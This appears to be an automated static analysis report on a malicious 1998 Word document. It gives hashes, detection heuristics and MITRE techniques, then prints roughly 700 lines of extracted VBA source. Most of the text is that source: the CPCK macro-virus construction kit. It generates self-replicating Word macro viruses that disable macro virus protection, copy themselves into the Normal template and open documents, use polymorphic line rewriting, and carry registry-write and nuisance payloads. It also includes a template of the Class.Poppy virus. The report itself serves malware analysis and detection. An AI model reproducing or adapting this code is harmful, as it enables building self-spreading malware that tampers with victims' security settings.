Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b71e744b2786a7be…

MALICIOUS

Office (OLE)

505.0 KB Created: 1998-11-15 14:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 85099c1a4024c00200a29e2c145b187a SHA-1: e5324429d96744b72665588598eb9a74471140a0 SHA-256: b71e744b2786a7be3cf81d580d391763d0a94f10002ca3964776e90c120cbb56
386 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This OLE document contains VBA macros that are designed to execute malicious code upon opening, as indicated by the AutoOpen and Document_Open heuristics. The script attempts to interact with the registry and potentially download additional payloads. The presence of 'VicodinES' and references to virus development suggest a malware author, but a specific family cannot be confidently identified.

Heuristics 12

  • Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATION
    OLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
  • ClamAV: Doc.Trojan.Class-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-23
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If VicAV > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, VicAV
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    hook1 = "Document_Open"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    hook2 = "AutoClose"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • ASP webshell / backdoor source high WEBSHELL_ASP
    The file contains classic ASP webshell code — eval/Execute over Request input, or WScript.Shell.Run of request data — i.e. server-side remote-command-execution backdoor source.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.avp.ch In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84654 bytes
SHA-256: a565621c1a34025851d18b395b4733d981e965c5a4062dcddd321bbedeb94607
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CPCK"
Public tDay, tMonth, Poly, Method, SRC, Payload, MTimes, VicAV, plug_count As Integer
Public pth, exportname, hook1, hook2, regkey, subkey, keyvalue, insult, plugin, VSMP_y As String
Public Sample, IDONE, vbad, SAVECODE, AUN, AUI, AAW, AAD, AAP, CDT, ILR As Boolean
Public VSMP_x(10), plugcode(20) As String
Sub AutoOpen()
Application.WindowState = wdWindowStateMinimize
hook1 = ""
hook2 = ""
keyvalue = ""
tDay = 0
tMonth = 0
vbad = True
IDONE = False
SRC = 0
Poly = 0
Method = 0
MTimes = 100
plugin = "For x = 1 to 5" & vbCr & "MsgBox ""CPCK is #1"", vbInformation, ""VicodinES Wrote This!""" & vbCr & "Next x"
insult = "I think # is a big stupid jerk!"
regkey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
subkey = "RegisteredOwner"
pth = Options.DefaultFilePath(wdDocumentsPath)
IntroFrm.Show
End Sub

' If you are reading my code how about not fucking
' stealing all of it. Everyone seems to be ripping
' me off!! Why not try and develop something from
' your own mind!!
'------------------------------------
' Know this VicodinES DID IT FIRST !!
'------------------------------------
' I wrote the first SR-1 Compatable virus
' I wrote the first Class Object infector
' I wrote 4 versions of VMPCK
' I released the first Word Infection Suite EVER
' First XF virus that works in Office 95 and 97

Function ANTIV()
VicAV = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If VicAV > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, VicAV
End Function

Attribute VB_Name = "IntroFrm"
Attribute VB_Base = "0{D48B1241-7C74-11D2-8861-004033E0078E}{D48B121C-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub StartBtn_Click()
Page1.Show
End Sub

Attribute VB_Name = "Page1"
Attribute VB_Base = "0{D48B124D-7C74-11D2-8861-004033E0078E}{D48B1224-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Page1.Hide
IntroFrm.Hide
OptionsFrm.Show
End Sub

Private Sub UserForm_Initialize()
TextBox1.Text = pth
End Sub

Attribute VB_Name = "OptionsFrm"
Attribute VB_Base = "0{D48B1251-7C74-11D2-8861-004033E0078E}{D48B1226-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CheckBox1_Click()
If CheckBox1.Value = True Then Sample = True Else Sample = False
End Sub

Private Sub CheckBox2_Click()
If CheckBox2.Value = True Then SAVECODE = True Else SAVECODE = False
End Sub

Private Sub CheckBox3_Click()
If CheckBox3.Value = True Then ILR = True Else ILR = False
End Sub

Private Sub CommandButton1_Click()
PayloadFrm.Show
End Sub

Private Sub CommandButton2_Click()
If Method = 0 Then
MsgBox "No Copy Method Selected", vbCritical, "Selection Error"
GoTo out
End If
If hook1 = "" Then
MsgBox "No Infection Hooks Selected", vbCritical, "Selection Error"
GoTo out
End If
If SRC = 0 Then
MsgBox "No Self Recognition Code Selected", vbCritical, "Selection Error"
GoTo out
End If
If Poly = 0 Then MsgBox "No Poly Was Selected" & vbCr & "This Class.Poppy Virus Will Not Have Any Poly", vbInformation, "For Your Information"
NewPoppyName = InputBox("Give the virus a name...", "CPCK 1.0a by VicodinES", "NewClass")
Call MainBuilder
out:
End Sub

Private Sub CommandButton3_Click()
Call ANTIV
OptionsFrm.Hide
Done.Show
End Sub


Private Sub CommandButton4_Click()
About.Show
End Sub

Private Sub CommandButton5_Click()
Greets.Show
End Sub

Private Sub Image2_Click()
Dec = MsgBox("Generate a copy of the ORIGINAL Class.Poppy?", vbYesNo, "A Slice Of Macro History")
If Dec = vbYes Then
Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
Call ClassBuild
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString (Oc1 & Oc2)
ActiveDocument.SaveAs FileName:=pth & "\Class.Poppy.doc", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
ActiveDocument.Close
MsgBox "Class.Poppy saved as : " & pth & "\Class.Poppy.doc", vbInformation, "The Class.Poppy Original!"
End If
End Sub

Private Sub OptionButton1_Click()
Method = 1
End Sub

Private Sub OptionButton10_Click()
hook1 = "Document_Open"
hook2 = "Document_Close"
End Sub

Private Sub OptionButton2_Click()
Method = 2
Export.Show
End Sub

Private Sub OptionButton3_Click()
'If OptionButton3.Value = True Then CheckBox3.Enabled = True Else CheckBox3.Enabled = False
Poly = 1
vsmp.Show
End Sub

Private Sub OptionButton4_Click()
'If OptionButton4.Value = True Then CheckBox3.Enabled = False
Poly = 2
End Sub

Private Sub OptionButton5_Click()
'If OptionButton5.Value = True Then CheckBox3.Enabled = False
Poly = 3
End Sub

Private Sub OptionButton6_Click()
SRC = 1
End Sub

Private Sub OptionButton7_Click()
SRC = 2
End Sub

Private Sub OptionButton8_Click()
hook1 = "AutoOpen"
hook2 = "AutoClose"
End Sub

Private Sub OptionButton9_Click()
hook1 = "Document_Close"
hook2 = "AutoClose"
End Sub

Attribute VB_Name = "PayloadFrm"
Attribute VB_Base = "0{D48B1255-7C74-11D2-8861-004033E0078E}{D48B1228-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton5_Click()

If Payload = 1 And IDONE = False Then
For x = 1 To Len(insult)
vHold = Mid(insult, x, 1)
If vHold = "#" Then vHold = """ & Application.Username & """
vInsult = vInsult + vHold
Next x
insult = """" & vInsult & """"
End If

If Payload = 4 And plugcode(1) = "" Then
PlugInFrm.Show
End If

If Payload = 1 Or Payload = 2 Or Payload = 4 Then
If vbad = True Then
TriggerFrm.Show
End If
End If


PayloadFrm.Hide

End Sub

Private Sub CommandButton1_Click()
RegFrm.Show
End Sub
Private Sub CommandButton3_Click()
InsultFrm.Show
End Sub

Private Sub CommandButton2_Click()
WDMfrm.Show
End Sub


Private Sub CommandButton4_Click()
PlugInFrm.Show
End Sub

Private Sub CommandButton6_Click()
TriggerFrm.Show
End Sub

Private Sub OptionButton1_Click()
Payload = 1
CommandButton6.Enabled = True
End Sub

Private Sub OptionButton2_Click()
Payload = 2
CommandButton6.Enabled = True
End Sub

Private Sub OptionButton3_Click()
Payload = 3
CommandButton6.Enabled = False
End Sub

Private Sub OptionButton4_Click()
Payload = 4
CommandButton6.Enabled = True
End Sub

Private Sub OptionButton5_Click()
Payload = 0
CommandButton6.Enabled = False
End Sub

Private Sub UserForm_Click()

End Sub

Private Sub UserForm_Initialize()
If Payload = 0 Then CommandButton6.Enabled = False
End Sub

Attribute VB_Name = "Export"
Attribute VB_Base = "0{D48B1259-7C74-11D2-8861-004033E0078E}{D48B122A-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
exportname = TextBox1.Text
If exportname = "" Then
MsgBox "No Filename Entered", vbCritical, "Error!!"
GoTo out
End If
Export.Hide
out:
End Sub

Private Sub CommandButton2_Click()
exportname = "AU"
Export.Hide
End Sub

Private Sub TextBox1_Change()
exportname = TextBox1.Text
End Sub

Attribute VB_Name = "Done"
Attribute VB_Base = "0{D48B1247-7C74-11D2-8861-004033E0078E}{D48B122C-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Image1_Click()
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "vsmp"
Attribute VB_Base = "0{D48B125D-7C74-11D2-8861-004033E0078E}{D48B122E-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CheckBox1_Click()
If CheckBox1.Value = True Then AUN = True Else AUN = False
End Sub

Private Sub CheckBox2_Click()
If CheckBox2.Value = True Then AUI = True Else AUI = False
End Sub

Private Sub CheckBox3_Click()
If CheckBox3.Value = True Then AAW = True Else AAW = False
End Sub

Private Sub CheckBox4_Click()
If CheckBox4.Value = True Then AAD = True Else AAD = False
End Sub

Private Sub CheckBox5_Click()
If CheckBox5.Value = True Then AAP = True Else AAP = False
End Sub

Private Sub CheckBox6_Click()
If CheckBox6.Value = True Then CDT = True Else CDT = False
End Sub

Private Sub CommandButton1_Click()

y = 1

If AUN = True Then
VSMP_x(y) = "Application.UserName"
y = y + 1
okey = True
End If

If AUI = True Then
VSMP_x(y) = "Application.UserInitials"
y = y + 1
okey = True
End If

If AAW = True Then
VSMP_x(y) = "Application.ActiveWindow"
y = y + 1
okey = True
End If

If AAD = True Then
VSMP_x(y) = "Application.ActiveDocument"
y = y + 1
okey = True
End If

If AAP = True Then
VSMP_x(y) = "Application.ActivePrinter"
y = y + 1
okey = True
End If

If CDT = True Then
VSMP_x(y) = "Now"
y = y + 1
okey = True
End If

For x = 1 To (y - 1)
If x = 1 Then VSMP_y = VSMP_y + VSMP_x(x)
If x > 1 Then VSMP_y = VSMP_y + " & " + VSMP_x(x)
Next x

If okey <> True Then GoTo dumb
vsmp.Hide
dumb:
End Sub



Attribute VB_Name = "RegFrm"
Attribute VB_Base = "0{D48B1261-7C74-11D2-8861-004033E0078E}{D48B1230-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
If keyvalue = "" Then MsgBox "You did not enter a key value", vbInformation, "Just in case you forgot"
RegFrm.Hide
End Sub

Private Sub TextBox1_Change()
regkey = TextBox1.Text
End Sub
Private Sub TextBox2_Change()
keyvalue = TextBox2.Text
End Sub

Private Sub TextBox3_Change()
subkey = TextBox3.Text
End Sub

Private Sub UserForm_Initialize()
TextBox1.Text = regkey
TextBox3.Text = subkey
End Sub

Attribute VB_Name = "InsultFrm"
Attribute VB_Base = "0{D48B1265-7C74-11D2-8861-004033E0078E}{D48B1232-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton99_Click()
For x = 1 To Len(insult)
If Mid(insult, x, 1) = "#" Then Find = True
Next x
If Find <> True Then
MsgBox "You did not enter this insult correctly", vbCritical, "Error"
MsgBox "You must enter # and that will be used as the user name in the insult!", vbInformation, "Try Again"
GoTo out:
End If
For x = 1 To Len(insult)
vHold = Mid(insult, x, 1)
If vHold = "#" Then vHold = """ & Application.Username & """
vInsult = vInsult + vHold
Next x
insult = """" & vInsult & """"
IDONE = True
InsultFrm.Hide
out:
End Sub

Private Sub TextBox1_Change()
insult = TextBox1.Text
End Sub

Private Sub UserForm_Initialize()
TextBox1.Text = insult
End Sub


Attribute VB_Name = "WDMfrm"
Attribute VB_Base = "0{D48B1269-7C74-11D2-8861-004033E0078E}{D48B1234-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
On Error GoTo damn
WDMfrm.Hide
GoTo out
damn:
MsgBox "That is not a NUMBER!!", vbCritical, "ERROR!!"
out:
End Sub

Private Sub TextBox1_Change()
On Error GoTo damn
MTimes = TextBox1.Text
If MTimes > 100000 Or MTimes < 0 Then GoTo damn
GoTo out
damn:
TextBox1.Text = 100
out:
End Sub

Private Sub UserForm_Initialize()
TextBox1.Text = MTimes
End Sub


Attribute VB_Name = "PlugInFrm"
Attribute VB_Base = "0{D48B126D-7C74-11D2-8861-004033E0078E}{D48B1236-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
plug_count = 1
For x = 1 To Len(plugin)
'holder = holder + Mid(plugin, x, 1)
If Mid(plugin, x, 1) = vbCr Then
plugcode(plug_count) = holder
plug_count = plug_count + 1
x = x + 1
holder = ""
Else
holder = holder + Mid(plugin, x, 1)
End If
plugcode(plug_count) = holder
Next x

'For y = 1 To plug_count
'MsgBox plugcode(y)
'Next y


PlugInFrm.Hide
End Sub

Private Sub TextBox1_Change()
plugin = TextBox1.Text
End Sub


Private Sub UserForm_Initialize()
TextBox1.Text = plugin
End Sub


Attribute VB_Name = "Class1"
Public Oc1, Oc2 As String
Function ClassBuild()
J2 = vbCr

Oc1 = "Sub AutoOpen()" & J2 & J2 & _
"On Error GoTo out" & J2 & J2 & _
"Options.VirusProtection = False" & J2 & J2 & _
"Options.SaveNormalPrompt = False" & J2 & J2 & _
"Options.ConfirmConversions = False" & J2 & J2 & _
"ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines" & J2 & J2 & _
"nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines" & J2 & J2 & _
"If Day(Now) = 31 Then MsgBox ""•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•"" + Chr$(13) + ""•  VicodinES /CB /TNN •"" + Chr$(13) + ""•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•"", 0, ""This Is Class""" & J2 & J2 & _
"If nt = 0 Then" & J2 & J2 & _
"Set host = NormalTemplate.VBProject.VBComponents.Item(1)" & J2 & J2 & _
"ActiveDocument.VBProject.VBComponents.Item(1).Export ""c" + ":" + "\" + "c" + "l" + "ass.sys""" & J2 & J2 & _
"End If" & J2 & J2 & _
"If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)" & J2 & J2 & _
"If nt > 0 And ad > 0 Then GoTo out" & J2 & J2 & _
"host.codemodule.AddFromFile (""c" + ":" + "\" + "c" + "l" + "ass.sys"")" & J2 & J2 & _
"With host.codemodule" & J2 & J2 & _
"For x = 1 To 4" & J2 & J2 & _
".deletelines 1" & J2 & J2 & _
"Next x" & J2 & J2 & _
"End With" & J2 & J2 & _
"If nt = 0 Then" & J2 & J2


Oc2 = "With host.codemodule" & J2 & J2 & _
".replaceline 1, ""Sub AutoClose()""" & J2 & J2 & _
".replaceline 69, ""Sub ViewVBCode()""" & J2 & J2 & _
"End With" & J2 & J2 & _
"End If" & J2 & J2 & _
"With host.codemodule" & J2 & J2 & _
"For x = 2 To 70 Step 2" & J2 & J2 & _
".replaceline x, ""'"" & Application.UserName & Now & Application.ActivePrinter & Now" & J2 & J2 & _
"Next x" & J2 & J2 & _
"End With" & J2 & J2 & _
"out:" & J2 & J2 & _
"If nt <> 0 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName" & J2 & J2 & _
"End Sub" & J2 & J2 & _
"Sub ToolsMacro()" & J2 & J2 & _
"End Sub"
End Function

Attribute VB_Name = "About"
Attribute VB_Base = "0{D48B1271-7C74-11D2-8861-004033E0078E}{D48B1238-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "Main"
Public bug(100) As String
Public NewPoppyName As String
Function MainBuilder()

Randomize

one = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)
two = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)
three = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)
four = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)
five = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)

six = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)
seven = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100)

x = 1
bug(x) = "Sub " & hook1 & "()"
x = x + 1
bug(x) = "On Error Resume Next"
x = x + 1

'3-8

a = Int((Rnd * 6) + 3)
b = Int((Rnd * 6) + 3)
c = Int((Rnd * 6) + 3)
d = Int((Rnd * 6) + 3)
e = Int((Rnd * 6) + 3)
f = Int((Rnd * 6) + 3)

Do While b = a
b = Int((Rnd * 6) + 3)
Loop

Do While c = a Or c = b
c = Int((Rnd * 6) + 3)
Loop

Do While d = a Or d = b Or d = c
d = Int((Rnd * 6) + 3)
Loop

Do While e = a Or e = b Or e = c Or e = d
e = Int((Rnd * 6) + 3)
Loop

Do While f = a Or f = b Or f = c Or f = d Or f = e
f = Int((Rnd * 6) + 3)
Loop

bug(a) = "Application.EnableCancelKey = 0"
x = x + 1
bug(b) = "Options.VirusProtection = 0"
x = x + 1
bug(c) = "Options.SaveNormalPrompt = 0"
x = x + 1
bug(d) = "Options.ConfirmConversions = 0"
x = x + 1
bug(e) = one & "= ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
x = x + 1
bug(f) = two & "= NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
x = x + 1



If SRC = 1 Then

bug(x) = "If " & one & " > 0 and " & two & " > 0 then goto " & five
x = x + 1

bug(x) = "If " & one & " = 0 Then "
x = x + 1
bug(x) = "set " & three & " = ActiveDocument.VBProject.VBComponents.Item(1)"
x = x + 1
bug(x) = six & " = TRUE"
x = x + 1
bug(x) = "End If"
x = x + 1
bug(x) = "If " & two & " = 0 Then "
x = x + 1
bug(x) = "set " & three & " = NormalTemplate.VBProject.VBComponents.Item(1)"
x = x + 1

If ILR = True Then
bug(x) = "ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, ""' ****** "" & Application.UserName & "" was infected "" & Now & vbCr"
x = x + 1
bug(x) = one & " = " & one & " + 2"
x = x + 1
End If

bug(x) = seven & " = TRUE"
x = x + 1
If Payload = 3 Then
bug(x) = "System.PrivateProfileString("""", """ & regkey & """, """ & subkey & """) = """ & keyvalue & """"
x = x + 1
End If
bug(x) = "End If"
x = x + 1
Else
bug(x) = "If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> ""Sub"" Then "
x = x + 1
bug(x) = "set " & three & " = ActiveDocument.VBProject.VBComponents.Item(1)"
x = x + 1
bug(x) = "" & six & " = TRUE"
x = x + 1
bug(x) = "End If"
x = x + 1
bug(x) = "If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> ""Sub"" Then "
x = x + 1
bug(x) = "set " & three & " = NormalTemplate.VBProject.VBComponents.Item(1)"
x = x + 1

If ILR = True Then
bug(x) = "ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, ""' ****** "" & Application.UserName & "" was infected "" & Now & vbCr"
x = x + 1
bug(x) = one & " = " & one & " + 2"
x = x + 1
End If

bug(x) = "" & seven & " = TRUE"
x = x + 1
If Payload = 3 Then
bug(x) = "System.PrivateProfileString("""", """ & regkey & """, """ & subkey & """) = """ & keyvalue & """"
x = x + 1
End If
bug(x) = "End If"
x = x + 1
End If

If Method = 1 Then
bug(x) = "If " & seven & " <> TRUE and " & six & " <> TRUE then goto " & five
x = x + 1

bug(x) = "If " & seven & " = TRUE then " & three & ".CodeModule.AddFromString (""Sub " & hook2 & "()"" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, " & one & " - 1))"
x = x + 1
bug(x) = "If " & six & " = TRUE Then " & three & ".CodeModule.AddFromString (""Sub " & hook1 & "()"" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, " & two & " - 1))"
x = x + 1
End If

If Method = 2 Then
bug(x) = "If " & seven & " = TRUE then"
x = x + 1
M1 = "ActiveDocument.VBProject.VBComponents.Item(1).Export "
If exportname = "AU" Then M2 = """c:\""" & " & Application.UserInitials" Else M2 = """c:\" & exportname & """"
bug(x) = M1 & M2
x = x + 1
bug(x) = three & ".CodeModule.AddFromFile (" & M2 & ")"
x = x + 1
bug(x) = three & ".CodeModule.deletelines 1, 4"
x = x + 1
bug(x) = three & ".CodeModule.replaceline 1, ""Sub " & hook2 & "()"""
x = x + 1
bug(x) = "Elseif " & six & " = TRUE then"
x = x + 1
bug(x) = three & ".CodeModule.AddFromFile (" & M2 & ")"
x = x + 1
bug(x) = three & ".CodeModule.deletelines 1, 4"
x = x + 1
bug(x) = "End If"
x = x + 1
End If

If Poly = 1 Then

bug(x) = "With " & three & ".CodeModule"
x = x + 1
bug(x) = "For x = 2 To (" & three & ".CodeModule.CountOfLines - 1) Step 2"
x = x + 1
bug(x) = ".replaceline x, ""'"" & " & VSMP_y
x = x + 1
bug(x) = "Next x"
x = x + 1
bug(x) = "End With"
x = x + 1
End If

If Poly = 2 Then

bug(x) = "With " & three & ".CodeModule"
x = x + 1
bug(x) = "For x = 2 To (" & three & ".CodeModule.CountOfLines - 1) Step 2"
x = x + 1
bug(x) = ".replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & "" = "" & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))& (Chr(65 + Int(Rnd * 22))) & "" + "" & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))& (Chr(65 + Int(Rnd * 22)))"
x = x + 1
bug(x) = "Next x"
x = x + 1
bug(x) = "End With"
x = x + 1

End If

If Poly = 3 Then

bug(x) = "With " & three & ".CodeModule"
x = x + 1
bug(x) = "For x = 2 To (" & three & ".CodeModule.CountOfLines - 1) Step 2"
x = x + 1
bug(x) = "For y = 1 To (Int(Rnd * 10) + 2)"
x = x + 1
bug(x) = four & " = " & four & " + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & "" + """
x = x + 1
bug(x) = "Next y"
x = x + 1
bug(x) = ".replaceline x, (Chr(65 + Int(Rnd * 22))) & "" = "" & " & four & " & (Chr(65 + Int(Rnd * 22)))"
x = x + 1
bug(x) = four & " = """""
x = x + 1
bug(x) = "Next x"
x = x + 1
bug(x) = "End With"
x = x + 1
End If

If Payload = 1 Then
bug(x) = "If " & tMonth & " and " & tDay & "Then msgbox " & insult
x = x + 1
End If

If Payload = 2 Then
bug(x) = "If " & tMonth & " and " & tDay & "Then "
x = x + 1
bug(x) = "For x = 1 To " & MTimes
x = x + 1
bug(x) = "Dialogs(Int(Rnd * 3000)).Show"
x = x + 1
bug(x) = "Next x"
x = x + 1
bug(x) = "End If"
x = x + 1
End If

If Payload = 4 Then
bug(x) = "If " & tMonth & " and " & tDay & "Then "
x = x + 1

For y1 = 1 To plug_count

bug(x) = plugcode(y1)
x = x + 1

Next y1

bug(x) = "End If"
x = x + 1
End If

bug(x) = five & ":"
x = x + 1

If SAVECODE = True Then
bug(x) = "If " & two & " <> 0 And " & one & " = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"
x = x + 1
End If

' End Sub
bug(x) = "End Sub"

bugend = x

'DEBUG PRINT OUT

'Open "c:\debug.txt" For Output As 1
'For x = 1 To bugend
'Print #1, bug(x) & vbCr
'Next x
'Close 1
'MsgBox "Debug Text Done"

If Poly > 0 Then PopCR = vbCr + vbCr Else PopCR = vbCr

' Make File
Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False

For x = 1 To bugend
'If bug(x) = "" Then GoTo nuthin
If x = bugend Then NewPoppy = NewPoppy + bug(x) Else NewPoppy = NewPoppy + bug(x) & PopCR
nuthin:
Next x

ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString (NewPoppy)
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "VicodinES"
    .Subject = "-(Dr Diet Mountain Dew)-"
    .Comments = "Generated By CPCK v1.0a"
    .Execute
End With
ActiveDocument.SaveAs FileName:=pth & "\" & NewPoppyName & ".doc", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges

Call ANTIV

If Sample = True Then
Open pth & "\" & NewPoppyName & ".txt" For Output As 1
For x = 1 To bugend
Print #1, bug(x) & vbCr
Next x
Close 1
End If

MsgBox NewPoppyName & " saved as : " & vbCr & vbCr & pth & "\" & NewPoppyName & ".doc", vbInformation, "Thanks for using CPCK"

If Sample = True Then MsgBox "The Source for " & NewPoppyName & " was saved as : " & vbCr & vbCr & pth & "\" & NewPoppyName & ".txt", vbInformation, "Thanks for using CPCK"

End Function


Attribute VB_Name = "TriggerFrm"
